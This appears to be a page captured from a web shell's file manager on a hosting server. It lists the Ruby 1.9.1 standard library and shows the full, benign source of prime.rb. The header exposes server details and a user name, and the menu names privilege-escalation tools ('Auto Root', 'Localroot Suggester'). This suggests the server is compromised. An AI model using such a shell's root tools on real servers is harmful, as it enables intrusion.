Linux premium71.web-hosting.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
LiteSpeed
Server IP : 198.187.29.8 & Your IP : 18.222.226.15
Domains :
Cant Read [ /etc/named.conf ]
User : cleahvkv
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
opt /
alt /
ruby19 /
lib64 /
ruby /
1.9.1 /
Delete
Unzip
Name
Size
Permission
Date
Action
cgi
[ DIR ]
drwxr-xr-x
2024-03-03 22:48
date
[ DIR ]
drwxr-xr-x
2024-03-03 22:48
digest
[ DIR ]
drwxr-xr-x
2024-03-03 22:48
dl
[ DIR ]
drwxr-xr-x
2024-03-03 22:48
drb
[ DIR ]
drwxr-xr-x
2024-03-03 22:48
fiddle
[ DIR ]
drwxr-xr-x
2024-03-03 22:48
irb
[ DIR ]
drwxr-xr-x
2024-03-03 22:48
json
[ DIR ]
drwxr-xr-x
2024-03-03 22:48
matrix
[ DIR ]
drwxr-xr-x
2024-03-03 22:48
net
[ DIR ]
drwxr-xr-x
2024-03-03 22:48
openssl
[ DIR ]
drwxr-xr-x
2024-03-03 22:48
optparse
[ DIR ]
drwxr-xr-x
2024-03-03 22:48
psych
[ DIR ]
drwxr-xr-x
2024-03-03 22:48
racc
[ DIR ]
drwxr-xr-x
2024-03-03 22:48
rake
[ DIR ]
drwxr-xr-x
2024-03-03 22:50
rbconfig
[ DIR ]
drwxr-xr-x
2024-03-03 22:48
rdoc
[ DIR ]
drwxr-xr-x
2024-03-03 22:48
rexml
[ DIR ]
drwxr-xr-x
2024-03-03 22:48
rinda
[ DIR ]
drwxr-xr-x
2024-03-03 22:48
ripper
[ DIR ]
drwxr-xr-x
2024-03-03 22:48
rss
[ DIR ]
drwxr-xr-x
2024-03-03 22:48
rubygems
[ DIR ]
drwxr-xr-x
2024-03-03 22:48
shell
[ DIR ]
drwxr-xr-x
2024-03-03 22:48
syck
[ DIR ]
drwxr-xr-x
2024-03-03 22:48
test
[ DIR ]
drwxr-xr-x
2024-03-03 22:48
uri
[ DIR ]
drwxr-xr-x
2024-03-03 22:48
webrick
[ DIR ]
drwxr-xr-x
2024-03-03 22:48
x86_64-linux
[ DIR ]
drwxr-xr-x
2024-03-03 22:48
xmlrpc
[ DIR ]
drwxr-xr-x
2024-03-03 22:48
yaml
[ DIR ]
drwxr-xr-x
2024-03-03 22:48
English.rb
5.59
KB
-rw-r--r--
2009-10-02 10:45
abbrev.rb
2.57
KB
-rw-r--r--
2011-05-18 21:19
base64.rb
2.63
KB
-rw-r--r--
2009-10-02 10:45
benchmark.rb
18
KB
-rw-r--r--
2011-06-28 06:09
cgi.rb
9.3
KB
-rw-r--r--
2011-05-16 21:21
cmath.rb
7.22
KB
-rw-r--r--
2011-07-30 14:53
complex.rb
380
B
-rw-r--r--
2009-08-16 15:34
csv.rb
82.66
KB
-rw-r--r--
2011-07-21 21:40
date.rb
946
B
-rw-r--r--
2011-05-21 12:25
debug.rb
23.23
KB
-rw-r--r--
2011-06-28 11:45
delegate.rb
9.74
KB
-rw-r--r--
2011-07-27 19:56
digest.rb
2.24
KB
-rw-r--r--
2011-05-16 20:52
dl.rb
176
B
-rw-r--r--
2010-06-12 15:28
drb.rb
19
B
-rw-r--r--
2009-10-02 10:45
e2mmap.rb
3.8
KB
-rw-r--r--
2011-05-19 00:07
erb.rb
25.72
KB
-rw-r--r--
2012-12-13 05:24
expect.rb
1.33
KB
-rw-r--r--
2011-08-26 23:54
fiddle.rb
928
B
-rw-r--r--
2011-08-16 00:51
fileutils.rb
45.32
KB
-rw-r--r--
2012-02-25 08:11
find.rb
2.03
KB
-rw-r--r--
2011-05-18 21:19
forwardable.rb
7.64
KB
-rw-r--r--
2011-05-22 02:14
getoptlong.rb
15.38
KB
-rw-r--r--
2011-05-19 00:07
gserver.rb
8.83
KB
-rw-r--r--
2013-10-31 14:40
ipaddr.rb
24.92
KB
-rw-r--r--
2013-04-11 02:31
irb.rb
8.34
KB
-rw-r--r--
2011-05-19 00:07
json.rb
1.74
KB
-rw-r--r--
2011-08-30 02:25
kconv.rb
5.74
KB
-rw-r--r--
2010-12-07 11:47
logger.rb
20.85
KB
-rw-r--r--
2011-05-19 00:07
mathn.rb
6.52
KB
-rw-r--r--
2011-08-26 23:54
matrix.rb
47.65
KB
-rw-r--r--
2011-07-09 19:11
mkmf.rb
68.9
KB
-rw-r--r--
2014-02-06 05:20
monitor.rb
6.94
KB
-rw-r--r--
2011-06-17 22:33
mutex_m.rb
1.61
KB
-rw-r--r--
2011-05-19 00:07
observer.rb
5.69
KB
-rw-r--r--
2011-05-16 21:53
open-uri.rb
25.84
KB
-rw-r--r--
2014-02-24 03:43
open3.rb
20.64
KB
-rw-r--r--
2011-05-18 21:19
openssl.rb
547
B
-rw-r--r--
2011-07-25 06:38
optparse.rb
51.13
KB
-rw-r--r--
2014-02-14 04:52
ostruct.rb
6.49
KB
-rw-r--r--
2012-02-24 14:49
pathname.rb
14.21
KB
-rw-r--r--
2011-08-26 23:54
pp.rb
13.31
KB
-rw-r--r--
2010-08-01 14:09
prettyprint.rb
9.63
KB
-rw-r--r--
2011-08-02 15:25
prime.rb
13.98
KB
-rw-r--r--
2011-06-01 00:21
profile.rb
205
B
-rw-r--r--
2009-10-02 10:45
profiler.rb
1.59
KB
-rw-r--r--
2009-10-02 10:45
pstore.rb
15.81
KB
-rw-r--r--
2011-10-10 23:14
psych.rb
9.82
KB
-rw-r--r--
2012-08-07 20:50
rake.rb
2.02
KB
-rw-r--r--
2011-06-29 03:09
rational.rb
308
B
-rw-r--r--
2009-09-24 00:42
rdoc.rb
4.29
KB
-rw-r--r--
2013-02-06 08:00
resolv-replace.rb
1.74
KB
-rw-r--r--
2010-10-29 22:02
resolv.rb
59.91
KB
-rw-r--r--
2014-02-14 06:56
ripper.rb
91
B
-rw-r--r--
2009-10-02 10:45
rss.rb
2.84
KB
-rw-r--r--
2011-05-11 10:22
rubygems.rb
34.13
KB
-rw-r--r--
2013-12-22 04:38
scanf.rb
23.53
KB
-rw-r--r--
2011-05-20 12:22
securerandom.rb
8.46
KB
-rw-r--r--
2012-05-07 11:25
set.rb
29.91
KB
-rw-r--r--
2012-02-10 08:28
shell.rb
5.9
KB
-rw-r--r--
2011-05-19 00:07
shellwords.rb
3.88
KB
-rw-r--r--
2012-02-12 07:51
singleton.rb
4.02
KB
-rw-r--r--
2011-05-18 14:09
socket.rb
23.22
KB
-rw-r--r--
2014-01-30 12:04
syck.rb
13.91
KB
-rw-r--r--
2010-07-19 04:54
sync.rb
6.87
KB
-rw-r--r--
2011-06-29 03:09
tempfile.rb
10.42
KB
-rw-r--r--
2013-10-31 14:44
thread.rb
6.59
KB
-rw-r--r--
2014-02-14 03:48
thwait.rb
3.38
KB
-rw-r--r--
2011-06-29 03:09
time.rb
17.03
KB
-rw-r--r--
2013-10-31 14:06
timeout.rb
3.26
KB
-rw-r--r--
2013-04-02 04:09
tmpdir.rb
3.72
KB
-rw-r--r--
2011-05-18 21:19
tracer.rb
6.63
KB
-rw-r--r--
2011-06-29 13:19
tsort.rb
6.79
KB
-rw-r--r--
2009-03-06 04:23
ubygems.rb
268
B
-rw-r--r--
2009-10-02 10:45
un.rb
8.32
KB
-rw-r--r--
2011-05-19 00:07
uri.rb
3.07
KB
-rw-r--r--
2011-05-13 20:03
weakref.rb
2.29
KB
-rw-r--r--
2011-08-26 23:54
webrick.rb
6.8
KB
-rw-r--r--
2011-05-10 23:37
yaml.rb
2.58
KB
-rw-r--r--
2013-05-29 12:00
Save
Rename
# # = prime.rb # # Prime numbers and factorization library. # # Copyright:: # Copyright (c) 1998-2008 Keiju ISHITSUKA(SHL Japan Inc.) # Copyright (c) 2008 Yuki Sonoda (Yugui) <yugui@yugui.jp> # # Documentation:: # Yuki Sonoda # require "singleton" require "forwardable" class Integer # Re-composes a prime factorization and returns the product. # # See Prime#int_from_prime_division for more details. def Integer.from_prime_division(pd) Prime.int_from_prime_division(pd) end # Returns the factorization of +self+. # # See Prime#prime_division for more details. def prime_division(generator = Prime::Generator23.new) Prime.prime_division(self, generator) end # Returns true if +self+ is a prime number, false for a composite. def prime? Prime.prime?(self) end # Iterates the given block over all prime numbers. # # See +Prime+#each for more details. def Integer.each_prime(ubound, &block) # :yields: prime Prime.each(ubound, &block) end end # # The set of all prime numbers. # # == Example # # Prime.each(100) do |prime| # p prime #=> 2, 3, 5, 7, 11, ...., 97 # end # # Prime is Enumerable: # # Prime.first 5 # => [2, 3, 5, 7, 11] # # == Retrieving the instance # # +Prime+.new is obsolete. Now +Prime+ has the default instance and you can # access it as +Prime+.instance. # # For convenience, each instance method of +Prime+.instance can be accessed # as a class method of +Prime+. # # e.g. # Prime.instance.prime?(2) #=> true # Prime.prime?(2) #=> true # # == Generators # # A "generator" provides an implementation of enumerating pseudo-prime # numbers and it remembers the position of enumeration and upper bound. # Futhermore, it is a external iterator of prime enumeration which is # compatible to an Enumerator. # # +Prime+::+PseudoPrimeGenerator+ is the base class for generators. # There are few implementations of generator. # # [+Prime+::+EratosthenesGenerator+] # Uses eratosthenes's sieve. # [+Prime+::+TrialDivisionGenerator+] # Uses the trial division method. # [+Prime+::+Generator23+] # Generates all positive integers which is not divided by 2 nor 3. # This sequence is very bad as a pseudo-prime sequence. But this # is faster and uses much less memory than other generators. So, # it is suitable for factorizing an integer which is not large but # has many prime factors. e.g. for Prime#prime? . class Prime include Enumerable @the_instance = Prime.new # obsolete. Use +Prime+::+instance+ or class methods of +Prime+. def initialize @generator = EratosthenesGenerator.new extend OldCompatibility warn "Prime::new is obsolete. use Prime::instance or class methods of Prime." end class << self extend Forwardable include Enumerable # Returns the default instance of Prime. def instance; @the_instance end def method_added(method) # :nodoc: (class<< self;self;end).def_delegator :instance, method end end # Iterates the given block over all prime numbers. # # == Parameters # # +ubound+:: # Optional. An arbitrary positive number. # The upper bound of enumeration. The method enumerates # prime numbers infinitely if +ubound+ is nil. # +generator+:: # Optional. An implementation of pseudo-prime generator. # # == Return value # # An evaluated value of the given block at the last time. # Or an enumerator which is compatible to an +Enumerator+ # if no block given. # # == Description # # Calls +block+ once for each prime number, passing the prime as # a parameter. # # +ubound+:: # Upper bound of prime numbers. The iterator stops after # yields all prime numbers p <= +ubound+. # # == Note # # +Prime+.+new+ returns a object extended by +Prime+::+OldCompatibility+ # in order to compatibility to Ruby 1.8, and +Prime+#each is overwritten # by +Prime+::+OldCompatibility+#+each+. # # +Prime+.+new+ is now obsolete. Use +Prime+.+instance+.+each+ or simply # +Prime+.+each+. def each(ubound = nil, generator = EratosthenesGenerator.new, &block) generator.upper_bound = ubound generator.each(&block) end # Returns true if +value+ is prime, false for a composite. # # == Parameters # # +value+:: an arbitrary integer to be checked. # +generator+:: optional. A pseudo-prime generator. def prime?(value, generator = Prime::Generator23.new) value = -value if value < 0 return false if value < 2 for num in generator q,r = value.divmod num return true if q < num return false if r == 0 end end # Re-composes a prime factorization and returns the product. # # == Parameters # +pd+:: Array of pairs of integers. The each internal # pair consists of a prime number -- a prime factor -- # and a natural number -- an exponent. # # == Example # For <tt>[[p_1, e_1], [p_2, e_2], ...., [p_n, e_n]]</tt>, it returns: # # p_1**e_1 * p_2**e_2 * .... * p_n**e_n. # # Prime.int_from_prime_division([[2,2], [3,1]]) #=> 12 def int_from_prime_division(pd) pd.inject(1){|value, (prime, index)| value *= prime**index } end # Returns the factorization of +value+. # # == Parameters # +value+:: An arbitrary integer. # +generator+:: Optional. A pseudo-prime generator. # +generator+.succ must return the next # pseudo-prime number in the ascendent # order. It must generate all prime numbers, # but may generate non prime numbers. # # === Exceptions # +ZeroDivisionError+:: when +value+ is zero. # # == Example # For an arbitrary integer: # # n = p_1**e_1 * p_2**e_2 * .... * p_n**e_n, # # prime_division(n) returns: # # [[p_1, e_1], [p_2, e_2], ...., [p_n, e_n]]. # # Prime.prime_division(12) #=> [[2,2], [3,1]] # def prime_division(value, generator= Prime::Generator23.new) raise ZeroDivisionError if value == 0 if value < 0 value = -value pv = [[-1, 1]] else pv = [] end for prime in generator count = 0 while (value1, mod = value.divmod(prime) mod) == 0 value = value1 count += 1 end if count != 0 pv.push [prime, count] end break if value1 <= prime end if value > 1 pv.push [value, 1] end return pv end # An abstract class for enumerating pseudo-prime numbers. # # Concrete subclasses should override succ, next, rewind. class PseudoPrimeGenerator include Enumerable def initialize(ubound = nil) @ubound = ubound end def upper_bound=(ubound) @ubound = ubound end def upper_bound @ubound end # returns the next pseudo-prime number, and move the internal # position forward. # # +PseudoPrimeGenerator+#succ raises +NotImplementedError+. def succ raise NotImplementedError, "need to define `succ'" end # alias of +succ+. def next raise NotImplementedError, "need to define `next'" end # Rewinds the internal position for enumeration. # # See +Enumerator+#rewind. def rewind raise NotImplementedError, "need to define `rewind'" end # Iterates the given block for each prime numbers. def each(&block) return self.dup unless block if @ubound last_value = nil loop do prime = succ break last_value if prime > @ubound last_value = block.call(prime) end else loop do block.call(succ) end end end # see +Enumerator+#with_index. alias with_index each_with_index # see +Enumerator+#with_object. def with_object(obj) return enum_for(:with_object) unless block_given? each do |prime| yield prime, obj end end end # An implementation of +PseudoPrimeGenerator+. # # Uses +EratosthenesSieve+. class EratosthenesGenerator < PseudoPrimeGenerator def initialize @last_prime = nil super end def succ @last_prime = @last_prime ? EratosthenesSieve.instance.next_to(@last_prime) : 2 end def rewind initialize end alias next succ end # An implementation of +PseudoPrimeGenerator+ which uses # a prime table generated by trial division. class TrialDivisionGenerator<PseudoPrimeGenerator def initialize @index = -1 super end def succ TrialDivision.instance[@index += 1] end def rewind initialize end alias next succ end # Generates all integer which are greater than 2 and # are not divided by 2 nor 3. # # This is a pseudo-prime generator, suitable on # checking primality of a integer by brute force # method. class Generator23<PseudoPrimeGenerator def initialize @prime = 1 @step = nil super end def succ loop do if (@step) @prime += @step @step = 6 - @step else case @prime when 1; @prime = 2 when 2; @prime = 3 when 3; @prime = 5; @step = 2 end end return @prime end end alias next succ def rewind initialize end end # Internal use. An implementation of prime table by trial division method. class TrialDivision include Singleton def initialize # :nodoc: # These are included as class variables to cache them for later uses. If memory # usage is a problem, they can be put in Prime#initialize as instance variables. # There must be no primes between @primes[-1] and @next_to_check. @primes = [2, 3, 5, 7, 11, 13, 17, 19, 23, 29, 31, 37, 41, 43, 47, 53, 59, 61, 67, 71, 73, 79, 83, 89, 97, 101] # @next_to_check % 6 must be 1. @next_to_check = 103 # @primes[-1] - @primes[-1] % 6 + 7 @ulticheck_index = 3 # @primes.index(@primes.reverse.find {|n| # n < Math.sqrt(@@next_to_check) }) @ulticheck_next_squared = 121 # @primes[@ulticheck_index + 1] ** 2 end # Returns the cached prime numbers. def cache return @primes end alias primes cache alias primes_so_far cache # Returns the +index+th prime number. # # +index+ is a 0-based index. def [](index) while index >= @primes.length # Only check for prime factors up to the square root of the potential primes, # but without the performance hit of an actual square root calculation. if @next_to_check + 4 > @ulticheck_next_squared @ulticheck_index += 1 @ulticheck_next_squared = @primes.at(@ulticheck_index + 1) ** 2 end # Only check numbers congruent to one and five, modulo six. All others # are divisible by two or three. This also allows us to skip checking against # two and three. @primes.push @next_to_check if @primes[2..@ulticheck_index].find {|prime| @next_to_check % prime == 0 }.nil? @next_to_check += 4 @primes.push @next_to_check if @primes[2..@ulticheck_index].find {|prime| @next_to_check % prime == 0 }.nil? @next_to_check += 2 end return @primes[index] end end # Internal use. An implementation of eratosthenes's sieve class EratosthenesSieve include Singleton BITS_PER_ENTRY = 16 # each entry is a set of 16-bits in a Fixnum NUMS_PER_ENTRY = BITS_PER_ENTRY * 2 # twiced because even numbers are omitted ENTRIES_PER_TABLE = 8 NUMS_PER_TABLE = NUMS_PER_ENTRY * ENTRIES_PER_TABLE FILLED_ENTRY = (1 << NUMS_PER_ENTRY) - 1 def initialize # :nodoc: # bitmap for odd prime numbers less than 256. # For an arbitrary odd number n, @tables[i][j][k] is # * 1 if n is prime, # * 0 if n is composite, # where i,j,k = indices(n) @tables = [[0xcb6e, 0x64b4, 0x129a, 0x816d, 0x4c32, 0x864a, 0x820d, 0x2196].freeze] end # returns the least odd prime number which is greater than +n+. def next_to(n) n = (n-1).div(2)*2+3 # the next odd number to given n table_index, integer_index, bit_index = indices(n) loop do extend_table until @tables.length > table_index for j in integer_index...ENTRIES_PER_TABLE if !@tables[table_index][j].zero? for k in bit_index...BITS_PER_ENTRY return NUMS_PER_TABLE*table_index + NUMS_PER_ENTRY*j + 2*k+1 if !@tables[table_index][j][k].zero? end end bit_index = 0 end table_index += 1; integer_index = 0 end end private # for an odd number +n+, returns (i, j, k) such that @tables[i][j][k] represents primarity of the number def indices(n) # binary digits of n: |0|1|2|3|4|5|6|7|8|9|10|11|.... # indices: |-| k | j | i # because of NUMS_PER_ENTRY, NUMS_PER_TABLE k = (n & 0b00011111) >> 1 j = (n & 0b11100000) >> 5 i = n >> 8 return i, j, k end def extend_table lbound = NUMS_PER_TABLE * @tables.length ubound = lbound + NUMS_PER_TABLE new_table = [FILLED_ENTRY] * ENTRIES_PER_TABLE # which represents primarity in lbound...ubound (3..Integer(Math.sqrt(ubound))).step(2) do |p| i, j, k = indices(p) next if @tables[i][j][k].zero? start = (lbound.div(p)+1)*p # least multiple of p which is >= lbound start += p if start.even? (start...ubound).step(2*p) do |n| _, j, k = indices(n) new_table[j] &= FILLED_ENTRY^(1<<k) end end @tables << new_table.freeze end end # Provides a +Prime+ object with compatibility to Ruby 1.8 when instantiated via +Prime+.+new+. module OldCompatibility # Returns the next prime number and forwards internal pointer. def succ @generator.succ end alias next succ # Overwrites Prime#each. # # Iterates the given block over all prime numbers. Note that enumeration # starts from the current position of internal pointer, not rewound. def each(&block) return @generator.dup unless block_given? loop do yield succ end end end end